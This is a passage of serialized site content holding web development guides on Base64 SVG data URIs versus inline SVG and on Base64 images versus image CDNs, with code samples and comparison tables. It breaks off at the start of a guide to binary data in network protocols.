r",[1560,12315,7297],{"class":1570},[1560,12317,12318],{"class":5634},"\"10\"",[1560,12320,11203],{"class":1566},[1560,12322,7297],{"class":1570},[1560,12324,11216],{"class":5634},[1560,12326,11237],{"class":1570},[1560,12328,12329,12332,12334],{"class":1562,"line":365},[1560,12330,12331],{"class":1570},"  \u003C\u002F",[1560,12333,11192],{"class":2484},[1560,12335,6441],{"class":1570},[1560,12337,12338],{"class":1562,"line":889},[1560,12339,12340],{"class":1570},"  Submit\n",[1560,12342,12343,12345,12347],{"class":1562,"line":1710},[1560,12344,11242],{"class":1570},[1560,12346,12250],{"class":2484},[1560,12348,6441],{"class":1570},[16,12350,12351,12354],{},[47,12352,12353],{},"Base64 data URI"," encodes the SVG file as a string and references it from CSS:",[135,12356,12358],{"className":1554,"code":12357,"language":1556,"meta":141,"style":141},".icon-circle {\n  background-image: url(\"data:image\u002Fsvg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjIwIiBoZWlnaHQ9IjIwIj48Y2lyY2xlIGN4PSIxMiIgY3k9IjEyIiByPSIxMCIgZmlsbD0iY3VycmVudENvbG9yIi8+PC9zdmc+\");\n  width: 20px;\n  height: 20px;\n}\n",[143,12359,12360,12367,12382,12396,12409],{"__ignoreMap":141},[1560,12361,12362,12365],{"class":1562,"line":1563},[1560,12363,12364],{"class":1566},".icon-circle",[1560,12366,1571],{"class":1570},[1560,12368,12369,12371,12373,12375,12377,12380],{"class":1562,"line":337},[1560,12370,11305],{"class":1576},[1560,12372,1663],{"class":1570},[1560,12374,11310],{"class":1576},[1560,12376,1688],{"class":1570},[1560,12378,12379],{"class":5634},"\"data:image\u002Fsvg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjIwIiBoZWlnaHQ9IjIwIj48Y2lyY2xlIGN4PSIxMiIgY3k9IjEyIiByPSIxMCIgZmlsbD0iY3VycmVudENvbG9yIi8+PC9zdmc+\"",[1560,12381,1744],{"class":1570},[1560,12383,12384,12387,12389,12392,12394],{"class":1562,"line":343},[1560,12385,12386],{"class":1576},"  width",[1560,12388,1663],{"class":1570},[1560,12390,12391],{"class":1576},"20",[1560,12393,1670],{"class":1669},[1560,12395,2228],{"class":1570},[1560,12397,12398,12401,12403,12405,12407],{"class":1562,"line":365},[1560,12399,12400],{"class":1576},"  height",[1560,12402,1663],{"class":1570},[1560,12404,12391],{"class":1576},[1560,12406,1670],{"class":1669},[1560,12408,2228],{"class":1570},[1560,12410,12411],{"class":1562,"line":889},[1560,12412,1585],{"class":1570},[135,12414,12416],{"className":6417,"code":12415,"language":6419,"meta":141,"style":141},"\u003Cbutton>\n  \u003Cspan class=\"icon-circle\">\u003C\u002Fspan>\n  Submit\n\u003C\u002Fbutton>\n",[143,12417,12418,12426,12446,12450],{"__ignoreMap":141},[1560,12419,12420,12422,12424],{"class":1562,"line":1563},[1560,12421,6431],{"class":1570},[1560,12423,12250],{"class":2484},[1560,12425,6441],{"class":1570},[1560,12427,12428,12430,12432,12434,12436,12439,12442,12444],{"class":1562,"line":337},[1560,12429,11223],{"class":1570},[1560,12431,1560],{"class":2484},[1560,12433,11423],{"class":1566},[1560,12435,7297],{"class":1570},[1560,12437,12438],{"class":5634},"\"icon-circle\"",[1560,12440,12441],{"class":1570},">\u003C\u002F",[1560,12443,1560],{"class":2484},[1560,12445,6441],{"class":1570},[1560,12447,12448],{"class":1562,"line":343},[1560,12449,12340],{"class":1570},[1560,12451,12452,12454,12456],{"class":1562,"line":365},[1560,12453,11242],{"class":1570},[1560,12455,12250],{"class":2484},[1560,12457,6441],{"class":1570},[11,12459,12461],{"id":12460},"when-to-use-base64-svg-in-css","When to Use Base64 SVG in CSS",[16,12463,12464],{},"Base64 embedding in CSS is the right choice for several scenarios:",[16,12466,12467,12470,12471,1459,12474,12477],{},[47,12468,12469],{},"Pseudo-element icons."," CSS pseudo-elements (",[143,12472,12473],{},"::before",[143,12475,12476],{},"::after",") cannot contain child HTML elements, so inline SVG is impossible. Data URIs are the only way to add SVG icons via pseudo-elements:",[135,12479,12481],{"className":1554,"code":12480,"language":1556,"meta":141,"style":141},".link-external::after {\n  content: '';\n  display: inline-block;\n  width: 14px;\n  height: 14px;\n  margin-left: 4px;\n  background-image: url(\"data:image\u002Fsvg+xml;base64,...\");\n}\n",[143,12482,12483,12490,12500,12512,12525,12537,12551,12566],{"__ignoreMap":141},[1560,12484,12485,12488],{"class":1562,"line":1563},[1560,12486,12487],{"class":1566},".link-external::after",[1560,12489,1571],{"class":1570},[1560,12491,12492,12494,12496,12498],{"class":1562,"line":337},[1560,12493,5629],{"class":1576},[1560,12495,1663],{"class":1570},[1560,12497,5635],{"class":5634},[1560,12499,2228],{"class":1570},[1560,12501,12502,12505,12507,12510],{"class":1562,"line":343},[1560,12503,12504],{"class":1576},"  display",[1560,12506,1663],{"class":1570},[1560,12508,12509],{"class":1576},"inline-block",[1560,12511,2228],{"class":1570},[1560,12513,12514,12516,12518,12521,12523],{"class":1562,"line":365},[1560,12515,12386],{"class":1576},[1560,12517,1663],{"class":1570},[1560,12519,12520],{"class":1576},"14",[1560,12522,1670],{"class":1669},[1560,12524,2228],{"class":1570},[1560,12526,12527,12529,12531,12533,12535],{"class":1562,"line":889},[1560,12528,12400],{"class":1576},[1560,12530,1663],{"class":1570},[1560,12532,12520],{"class":1576},[1560,12534,1670],{"class":1669},[1560,12536,2228],{"class":1570},[1560,12538,12539,12542,12544,12547,12549],{"class":1562,"line":1710},[1560,12540,12541],{"class":1576},"  margin-left",[1560,12543,1663],{"class":1570},[1560,12545,12546],{"class":1576},"4",[1560,12548,1670],{"class":1669},[1560,12550,2228],{"class":1570},[1560,12552,12553,12555,12557,12559,12561,12564],{"class":1562,"line":1717},[1560,12554,11305],{"class":1576},[1560,12556,1663],{"class":1570},[1560,12558,11310],{"class":1576},[1560,12560,1688],{"class":1570},[1560,12562,12563],{"class":5634},"\"data:image\u002Fsvg+xml;base64,...\"",[1560,12565,1744],{"class":1570},[1560,12567,12568],{"class":1562,"line":1747},[1560,12569,1585],{"class":1570},[16,12571,12572,12575,12576,12579],{},[47,12573,12574],{},"Background patterns and decorative fills."," Repeating SVG patterns used as ",[143,12577,12578],{},"background-image"," must be referenced as URLs or data URIs—they cannot be inlined as HTML children of the styled element.",[16,12581,12582,12585],{},[47,12583,12584],{},"Component library encapsulation."," When distributing a CSS-only component library without requiring users to add SVG markup to their HTML, embedding icons as data URIs keeps everything self-contained within the stylesheet.",[16,12587,12588,12591],{},[47,12589,12590],{},"Caching benefit."," An SVG referenced as a data URI in a cached CSS file will be cached along with that stylesheet. If the same icon appears on every page, the CSS cache carries the icon across all pages without additional HTTP requests.",[11,12593,12595],{"id":12594},"when-to-use-inline-svg","When to Use Inline SVG",[16,12597,12598],{},"Inline SVG wins in these situations:",[16,12600,12601,12604,12605,12608,12609,1459,12612,1459,12615,12618],{},[47,12602,12603],{},"Dynamic styling with CSS."," Inline SVG elements respond to CSS ",[143,12606,12607],{},"color"," via ",[143,12610,12611],{},"currentColor",[143,12613,12614],{},"fill",[143,12616,12617],{},"stroke",", and other properties. Data URI SVGs are opaque images—you cannot style their internal elements from the parent page's CSS:",[135,12620,12622],{"className":1554,"code":12621,"language":1556,"meta":141,"style":141},"\u002F* Works with inline SVG, ignored by data URI *\u002F\n.btn:hover svg circle {\n  fill: red;\n}\n",[143,12623,12624,12629,12642,12654],{"__ignoreMap":141},[1560,12625,12626],{"class":1562,"line":1563},[1560,12627,12628],{"class":1649},"\u002F* Works with inline SVG, ignored by data URI *\u002F\n",[1560,12630,12631,12634,12637,12640],{"class":1562,"line":337},[1560,12632,12633],{"class":1566},".btn:hover",[1560,12635,12636],{"class":2484}," svg",[1560,12638,12639],{"class":2484}," circle",[1560,12641,1571],{"class":1570},[1560,12643,12644,12647,12649,12652],{"class":1562,"line":343},[1560,12645,12646],{"class":1576},"  fill",[1560,12648,1663],{"class":1570},[1560,12650,12651],{"class":1576},"red",[1560,12653,2228],{"class":1570},[1560,12655,12656],{"class":1562,"line":365},[1560,12657,1585],{"class":1570},[16,12659,12660,12663,12664,1856,12667,12670,12671,12674,12675,12678,12679,12682],{},[47,12661,12662],{},"Accessibility."," Inline SVG supports ",[143,12665,12666],{},"\u003Ctitle>",[143,12668,12669],{},"\u003Cdesc>"," elements for screen readers, and ",[143,12672,12673],{},"role=\"img\""," with ",[143,12676,12677],{},"aria-labelledby"," for accessible names. Data URI images are treated as opaque images and can only use ",[143,12680,12681],{},"alt"," text on the container element.",[16,12684,12685,12688],{},[47,12686,12687],{},"Smaller file size for small icons."," Base64 encoding expands data by approximately 33%. A 200-byte SVG becomes roughly 268 bytes as Base64. For tiny icons, the encoding overhead may exceed any caching benefit.",[16,12690,12691,12694],{},[47,12692,12693],{},"Manipulation with JavaScript."," Inline SVG exposes its DOM, allowing scripts to animate paths, change attributes, or respond to events on individual shapes. Data URI SVGs are non-interactive images.",[11,12696,12698],{"id":12697},"size-and-performance-trade-offs","Size and Performance Trade-Offs",[16,12700,12701],{},"The decision often comes down to how often the SVG repeats and how large it is:",[193,12703,12704,12717],{},[196,12705,12706],{},[199,12707,12708,12711,12714],{},[202,12709,12710],{},"SVG Size",[202,12712,12713],{},"Used Once",[202,12715,12716],{},"Used on 10+ Pages",[211,12718,12719,12730,12741],{},[199,12720,12721,12724,12727],{},[216,12722,12723],{},"\u003C 500 bytes",[216,12725,12726],{},"Inline SVG (no Base64 overhead)",[216,12728,12729],{},"Either (caching benefits offset overhead)",[199,12731,12732,12735,12738],{},[216,12733,12734],{},"500B – 5KB",[216,12736,12737],{},"Inline SVG (avoid blocking CSS render)",[216,12739,12740],{},"Base64 in CSS (cache saves repeated downloads)",[199,12742,12743,12746,12749],{},[216,12744,12745],{},"> 5KB",[216,12747,12748],{},"External file (keep HTML lean)",[216,12750,12751],{},"External file with cache headers",[16,12753,12754],{},"Large data URIs in CSS force the browser to parse the entire stylesheet before rendering, which can block the first paint. Critical CSS should avoid embedding large SVGs as data URIs.",[11,12756,12758],{"id":12757},"url-encoding-vs-base64-for-svg-data-uris","URL-Encoding vs Base64 for SVG Data URIs",[16,12760,12761],{},"Base64 is not the only encoding option. URL-encoding the SVG XML is often more compact for small files:",[135,12763,12765],{"className":1554,"code":12764,"language":1556,"meta":141,"style":141},"\u002F* URL-encoded (smaller for tiny SVGs) *\u002F\nbackground-image: url(\"data:image\u002Fsvg+xml,%3Csvg xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg' viewBox='0 0 24 24'%3E%3Ccircle cx='12' cy='12' r='10' fill='%23ccc'\u002F%3E%3C\u002Fsvg%3E\");\n\n\u002F* Base64-encoded (better for larger SVGs) *\u002F\nbackground-image: url(\"data:image\u002Fsvg+xml;base64,PHN2Zy...\");\n",[143,12766,12767,12772,12798,12802,12807],{"__ignoreMap":141},[1560,12768,12769],{"class":1562,"line":1563},[1560,12770,12771],{"class":1649},"\u002F* URL-encoded (smaller for tiny SVGs) *\u002F\n",[1560,12773,12774,12776,12779,12782,12785,12787,12789,12792,12795],{"class":1562,"line":337},[1560,12775,12578],{"class":2484},[1560,12777,12778],{"class":1570},": url(\"",[1560,12780,12781],{"class":2484},"data",[1560,12783,12784],{"class":1570},":image\u002F",[1560,12786,11192],{"class":2484},[1560,12788,9448],{"class":1669},[1560,12790,12791],{"class":1570},"xml,%3Csvg xmlns='http:\u002F\u002Fwww",[1560,12793,12794],{"class":1566},".w3",[1560,12796,12797],{"class":1570},".org\u002F2000\u002Fsvg' viewBox='0 0 24 24'%3E%3Ccircle cx='12' cy='12' r='10' fill='%23ccc'\u002F%3E%3C\u002Fsvg%3E\");\n",[1560,12799,12800],{"class":1562,"line":343},[1560,12801,1702],{"emptyLinePlaceholder":363},[1560,12803,12804],{"class":1562,"line":365},[1560,12805,12806],{"class":1649},"\u002F* Base64-encoded (better for larger SVGs) *\u002F\n",[1560,12808,12809,12811,12813,12815,12817,12819,12821,12824,12827],{"class":1562,"line":889},[1560,12810,12578],{"class":2484},[1560,12812,12778],{"class":1570},[1560,12814,12781],{"class":2484},[1560,12816,12784],{"class":1570},[1560,12818,11192],{"class":2484},[1560,12820,9448],{"class":1669},[1560,12822,12823],{"class":1570},"xml;base64,PHN2Zy..",[1560,12825,12826],{"class":5159},".\"",[1560,12828,1744],{"class":1570},[16,12830,12831],{},"URL-encoding preserves readability for small icons and avoids the 33% Base64 expansion. For larger SVGs, Base64 produces a more compact string because URL-encoding must escape many characters in XML markup.",[16,12833,12834,12835,12837],{},"To convert SVGs to either format quickly, the ",[98,12836,10921],{"href":10920}," generates data URI strings from uploaded SVG, PNG, or JPEG files.",[2043,12839,12840],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":141,"searchDepth":337,"depth":337,"links":12842},[12843,12844,12845,12846,12847],{"id":12231,"depth":337,"text":12232},{"id":12460,"depth":337,"text":12461},{"id":12594,"depth":337,"text":12595},{"id":12697,"depth":337,"text":12698},{"id":12757,"depth":337,"text":12758},"When to inline SVG as data URI versus using inline SVG elements directly in HTML.",{},"\u002Fguides\u002Fbase64-svg-embedding",{"title":12223,"description":12848},"guides\u002Fbase64-svg-embedding","FyfCHJkxrJ0dwTwPurAGQX80dFqY8INRNX4ar0J_toE",{"id":12855,"title":12856,"body":12857,"date":2070,"description":13358,"extension":361,"meta":13359,"navigation":363,"path":13360,"readingTime":1710,"seo":13361,"stem":13362,"__hash__":13363},"guides\u002Fguides\u002Fbase64-vs-image-cdn.md","Base64 vs Image CDN: Which Delivers Faster Pages?",{"type":8,"value":12858,"toc":13346},[12859,12862,12866,12869,12910,12913,12939,12943,12946,12972,12974,13000,13004,13007,13082,13089,13093,13096,13157,13160,13164,13171,13174,13181,13221,13225,13228,13254,13257,13261,13264,13296,13298,13315,13317,13334,13336,13343],[16,12860,12861],{},"Base64 inline images and image CDNs take opposite approaches to image delivery. One embeds the image data directly in your HTML or CSS; the other serves optimized images from a global distribution network. Understanding when each technique wins helps you build faster pages without guessing.",[11,12863,12865],{"id":12864},"how-base64-inline-images-work","How Base64 Inline Images Work",[16,12867,12868],{},"Base64 encoding converts binary image data into an ASCII string embedded in your HTML or CSS as a data URI. The browser decodes it inline — no separate network request needed.",[135,12870,12872],{"className":6417,"code":12871,"language":6419,"meta":141,"style":141},"\u003Cimg src=\"data:image\u002Fpng;base64,iVBORw0KGgoAAAANSUhEUg...\" alt=\"Icon\" width=\"16\" height=\"16\">\n",[143,12873,12874],{"__ignoreMap":141},[1560,12875,12876,12878,12880,12882,12884,12887,12890,12892,12895,12897,12899,12902,12904,12906,12908],{"class":1562,"line":1563},[1560,12877,6431],{"class":1570},[1560,12879,10628],{"class":2484},[1560,12881,10631],{"class":1566},[1560,12883,7297],{"class":1570},[1560,12885,12886],{"class":5634},"\"data:image\u002Fpng;base64,iVBORw0KGgoAAAANSUhEUg...\"",[1560,12888,12889],{"class":1566}," alt",[1560,12891,7297],{"class":1570},[1560,12893,12894],{"class":5634},"\"Icon\"",[1560,12896,10649],{"class":1566},[1560,12898,7297],{"class":1570},[1560,12900,12901],{"class":5634},"\"16\"",[1560,12903,10657],{"class":1566},[1560,12905,7297],{"class":1570},[1560,12907,12901],{"class":5634},[1560,12909,6441],{"class":1570},[16,12911,12912],{},"Key characteristics:",[41,12914,12915,12921,12927,12933],{},[44,12916,12917,12920],{},[47,12918,12919],{},"Zero additional requests"," — the image travels with the document or stylesheet",[44,12922,12923,12926],{},[47,12924,12925],{},"33% size overhead"," — Base64 encoding expands binary data by roughly one-third",[44,12928,12929,12932],{},[47,12930,12931],{},"No independent caching"," — the image is cached as part of the parent file",[44,12934,12935,12938],{},[47,12936,12937],{},"Blocks rendering"," — the browser cannot display the image until it finishes decoding the containing resource",[11,12940,12942],{"id":12941},"how-image-cdns-work","How Image CDNs Work",[16,12944,12945],{},"Image CDNs (Cloudinary, Imgix, Fastly IO, Next.js Image Optimization) store your original images and serve transformed versions on the fly. They resize, compress, and convert formats based on the requesting device.",[135,12947,12949],{"className":6417,"code":12948,"language":6419,"meta":141,"style":141},"\u003Cimg src=\"https:\u002F\u002Fcdn.example.com\u002Fphoto.jpg?w=400&q=75&f=webp\" alt=\"Product photo\">\n",[143,12950,12951],{"__ignoreMap":141},[1560,12952,12953,12955,12957,12959,12961,12964,12966,12968,12970],{"class":1562,"line":1563},[1560,12954,6431],{"class":1570},[1560,12956,10628],{"class":2484},[1560,12958,10631],{"class":1566},[1560,12960,7297],{"class":1570},[1560,12962,12963],{"class":5634},"\"https:\u002F\u002Fcdn.example.com\u002Fphoto.jpg?w=400&q=75&f=webp\"",[1560,12965,12889],{"class":1566},[1560,12967,7297],{"class":1570},[1560,12969,11446],{"class":5634},[1560,12971,6441],{"class":1570},[16,12973,12912],{},[41,12975,12976,12982,12988,12994],{},[44,12977,12978,12981],{},[47,12979,12980],{},"Optimized per device"," — serves WebP\u002FAVIF to supporting browsers, resized to exact display dimensions",[44,12983,12984,12987],{},[47,12985,12986],{},"Global edge caching"," — images cached at CDN nodes close to users worldwide",[44,12989,12990,12993],{},[47,12991,12992],{},"Independent caching"," — images cache separately from HTML\u002FCSS, surviving deployments",[44,12995,12996,12999],{},[47,12997,12998],{},"Additional requests"," — each image requires a separate HTTP request (mitigated by HTTP\u002F2 multiplexing)",[11,13001,13003],{"id":13002},"bandwidth-and-size-comparison","Bandwidth and Size Comparison",[16,13005,13006],{},"Consider a typical product image (original: 150 KB JPEG):",[193,13008,13009,13025],{},[196,13010,13011],{},[199,13012,13013,13016,13019,13022],{},[202,13014,13015],{},"Delivery Method",[202,13017,13018],{},"Format",[202,13020,13021],{},"Size",[202,13023,13024],{},"Overhead",[211,13026,13027,13040,13054,13068],{},[199,13028,13029,13032,13035,13038],{},[216,13030,13031],{},"Original JPEG",[216,13033,13034],{},"JPEG",[216,13036,13037],{},"150 KB",[216,13039,3060],{},[199,13041,13042,13045,13048,13051],{},[216,13043,13044],{},"Base64 inline",[216,13046,13047],{},"Base64 JPEG",[216,13049,13050],{},"200 KB",[216,13052,13053],{},"+33%",[199,13055,13056,13059,13062,13065],{},[216,13057,13058],{},"Image CDN (WebP, resized)",[216,13060,13061],{},"WebP",[216,13063,13064],{},"35 KB",[216,13066,13067],{},"-77%",[199,13069,13070,13073,13076,13079],{},[216,13071,13072],{},"Image CDN (AVIF, resized)",[216,13074,13075],{},"AVIF",[216,13077,13078],{},"20 KB",[216,13080,13081],{},"-87%",[16,13083,13084,13085,13088],{},"The image CDN delivers the same visual quality at a fraction of the size. Base64 makes the image ",[7310,13086,13087],{},"larger"," than the original. For any image over a few kilobytes, the CDN wins decisively.",[11,13090,13092],{"id":13091},"caching-behavior","Caching Behavior",[16,13094,13095],{},"Caching strategy determines repeat-visit performance:",[193,13097,13098,13111],{},[196,13099,13100],{},[199,13101,13102,13105,13108],{},[202,13103,13104],{},"Aspect",[202,13106,13107],{},"Base64 Inline",[202,13109,13110],{},"Image CDN",[211,13112,13113,13124,13135,13146],{},[199,13114,13115,13118,13121],{},[216,13116,13117],{},"Cache scope",[216,13119,13120],{},"Cached with HTML or CSS",[216,13122,13123],{},"Cached independently",[199,13125,13126,13129,13132],{},[216,13127,13128],{},"Cache duration",[216,13130,13131],{},"Matches parent file (hours–days)",[216,13133,13134],{},"Typically 30–365 days",[199,13136,13137,13140,13143],{},[216,13138,13139],{},"Deploy impact",[216,13141,13142],{},"New deploy = re-download all inline images",[216,13144,13145],{},"Images survive CSS\u002FHTML updates",[199,13147,13148,13151,13154],{},[216,13149,13150],{},"Purge control",[216,13152,13153],{},"No — tied to parent cache key",[216,13155,13156],{},"Yes — CDN invalidation API",[16,13158,13159],{},"For frequently-deployed applications, Base64 inlining forces users to re-download unchanged images with every deploy. Image CDNs cache images independently, so a CSS update does not bust the image cache.",[11,13161,13163],{"id":13162},"rendering-performance","Rendering Performance",[16,13165,13166,13167,13170],{},"Base64 images in HTML block the HTML parser. The browser must decode the Base64 string before it can continue parsing the rest of the document. A 100 KB Base64 image in the ",[143,13168,13169],{},"\u003Chead>"," delays the entire page.",[16,13172,13173],{},"Base64 images in CSS block the stylesheet's rendering. The browser cannot paint elements that depend on the background image until the CSS file — including the embedded Base64 string — downloads and parses.",[16,13175,13176,13177,13180],{},"CDN images load asynchronously. The browser continues parsing HTML while fetching images in parallel. With ",[143,13178,13179],{},"loading=\"lazy\"",", off-screen images do not even start downloading until the user scrolls near them.",[135,13182,13184],{"className":6417,"code":13183,"language":6419,"meta":141,"style":141},"\u003C!-- Async, lazy-loaded — does not block rendering -->\n\u003Cimg src=\"https:\u002F\u002Fcdn.example.com\u002Fphoto.webp\" loading=\"lazy\" alt=\"Product\">\n",[143,13185,13186,13191],{"__ignoreMap":141},[1560,13187,13188],{"class":1562,"line":1563},[1560,13189,13190],{"class":1649},"\u003C!-- Async, lazy-loaded — does not block rendering -->\n",[1560,13192,13193,13195,13197,13199,13201,13204,13207,13209,13212,13214,13216,13219],{"class":1562,"line":337},[1560,13194,6431],{"class":1570},[1560,13196,10628],{"class":2484},[1560,13198,10631],{"class":1566},[1560,13200,7297],{"class":1570},[1560,13202,13203],{"class":5634},"\"https:\u002F\u002Fcdn.example.com\u002Fphoto.webp\"",[1560,13205,13206],{"class":1566}," loading",[1560,13208,7297],{"class":1570},[1560,13210,13211],{"class":5634},"\"lazy\"",[1560,13213,12889],{"class":1566},[1560,13215,7297],{"class":1570},[1560,13217,13218],{"class":5634},"\"Product\"",[1560,13220,6441],{"class":1570},[11,13222,13224],{"id":13223},"when-base64-wins","When Base64 Wins",[16,13226,13227],{},"Despite the trade-offs, Base64 has legitimate use cases:",[41,13229,13230,13236,13242,13248],{},[44,13231,13232,13235],{},[47,13233,13234],{},"Tiny icons under 2 KB"," — the request overhead (headers, TLS handshake) may exceed the 33% encoding penalty",[44,13237,13238,13241],{},[47,13239,13240],{},"Critical above-the-fold icons"," — one or two small icons that must appear instantly with no request waterfall",[44,13243,13244,13247],{},[47,13245,13246],{},"Email HTML"," — most email clients block external images; Base64 may work depending on the client",[44,13249,13250,13253],{},[47,13251,13252],{},"Single-file deliverables"," — standalone HTML reports or documents that must work offline without external dependencies",[16,13255,13256],{},"Even in these cases, SVG inline markup usually beats Base64 for vector icons.",[11,13258,13260],{"id":13259},"when-image-cdn-wins","When Image CDN Wins",[16,13262,13263],{},"Image CDN is the better choice for nearly everything else:",[41,13265,13266,13272,13278,13284,13290],{},[44,13267,13268,13271],{},[47,13269,13270],{},"Photographs and complex images"," — format optimization (WebP, AVIF) saves 50–80%",[44,13273,13274,13277],{},[47,13275,13276],{},"Responsive images"," — serving different sizes for mobile vs. desktop",[44,13279,13280,13283],{},[47,13281,13282],{},"Sites with frequent deploys"," — independent caching preserves image cache",[44,13285,13286,13289],{},[47,13287,13288],{},"Global audiences"," — edge caching reduces latency for users far from your origin",[44,13291,13292,13295],{},[47,13293,13294],{},"Any image over 5 KB"," — the size penalty and parsing cost outweigh request savings",[11,13297,1355],{"id":1354},[41,13299,13300,13303,13306,13309,13312],{},[44,13301,13302],{},"Base64 adds ~33% size overhead with no format optimization; image CDNs typically reduce size by 50–80%",[44,13304,13305],{},"Image CDNs cache independently, surviving HTML\u002FCSS deploys; Base64 images re-download with every parent file update",[44,13307,13308],{},"Base64 blocks HTML parsing or CSS rendering; CDN images load asynchronously with lazy-loading support",[44,13310,13311],{},"Use Base64 only for icons under 2 KB, email HTML, or single-file deliverables",[44,13313,13314],{},"For everything else, an image CDN delivers smaller files, better caching, and faster rendering",[11,13316,321],{"id":320},[41,13318,13319,13324,13329],{},[44,13320,13321],{},[98,13322,13323],{"href":12172},"Image to Base64: Converting Images for Inline Embedding",[44,13325,13326],{},[98,13327,13328],{"href":12178},"Data URI Performance: Measuring the Real Cost of Inlining",[44,13330,13331],{},[98,13332,13333],{"href":12217},"Base64 Image Optimization: Reducing Inline Image Overhead",[11,13335,286],{"id":285},[16,13337,13338,13339,13342],{},"Convert images to Base64 for small icon inlining with our free ",[98,13340,13341],{"href":10920},"Image to Base64"," tool. Upload any image, get the encoded string, and measure whether inlining makes sense for your use case.",[2043,13344,13345],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":13347},[13348,13349,13350,13351,13352,13353,13354,13355,13356,13357],{"id":12864,"depth":337,"text":12865},{"id":12941,"depth":337,"text":12942},{"id":13002,"depth":337,"text":13003},{"id":13091,"depth":337,"text":13092},{"id":13162,"depth":337,"text":13163},{"id":13223,"depth":337,"text":13224},{"id":13259,"depth":337,"text":13260},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Compare Base64 inline images and image CDNs — bandwidth cost, caching behavior, rendering speed, and when each approach wins for web performance.",{"immutable":363},"\u002Fguides\u002Fbase64-vs-image-cdn",{"title":12856,"description":13358},"guides\u002Fbase64-vs-image-cdn","xEIkUU5Gg_pQQtH0Gdo1aRMqi-uyXUKiH9XhynaFWPM",{"id":13365,"title":13366,"body":13367,"date":2070,"description":13911,"extension":361,"meta":13912,"navigation":363,"path":13913,"readingTime":889,"seo":13914,"stem":13915,"__hash__":13916},"guides\u002Fguides\u002Fbinary-data-network-protocols.md","Binary Data in Network Protocols",{"type":8,"value":13368,"toc":13899},[13369,13373,13385,13388,13391,13432,13435,13439,13442,13448,13451,13455,13458,13586,13589,13593,13596,13602,13605,13631,13634,13638,13649,13678,13685,13763,13769,13773,13784,13790,13793,13797,13867,13869,13886,13888,13896],[11,13370,13372],{"id":13371},"why-protocols-use-binary","Why Protocols Use Binary",[16,13374,13375,13376,1459,13379,1466,13382,468],{},"Text-based formats like JSON and XML are easy for humans to read. But network protocols favor binary encoding for three reasons: ",[47,13377,13378],{},"compactness",[47,13380,13381],{},"parsing speed",[47,13383,13384],{},"determinism",[16,13386,13387],{},"A binary protocol assigns fixed byte positions and bit widths to every field. The parser reads bytes at known offsets — no string splitting, no quote escaping, no ambiguity. This makes binary protocols faster to parse and smaller on the wire.",[16,13389,13390],{},"Consider a simple message carrying a temperature reading:",[193,13392,13393,13405],{},[196,13394,13395],{},[199,13396,13397,13399,13402],{},[202,13398,13018],{},[202,13400,13401],{},"Representation",[202,13403,13404],{},"Bytes",[211,13406,13407,13419],{},[199,13408,13409,13412,13417],{},[216,13410,13411],{},"JSON",[216,13413,13414],{},[143,13415,13416],{},"{\"temp\":23.5}",[216,13418,12520],{},[199,13420,13421,13424,13429],{},[216,13422,13423],{},"Binary (float32 + 1 byte 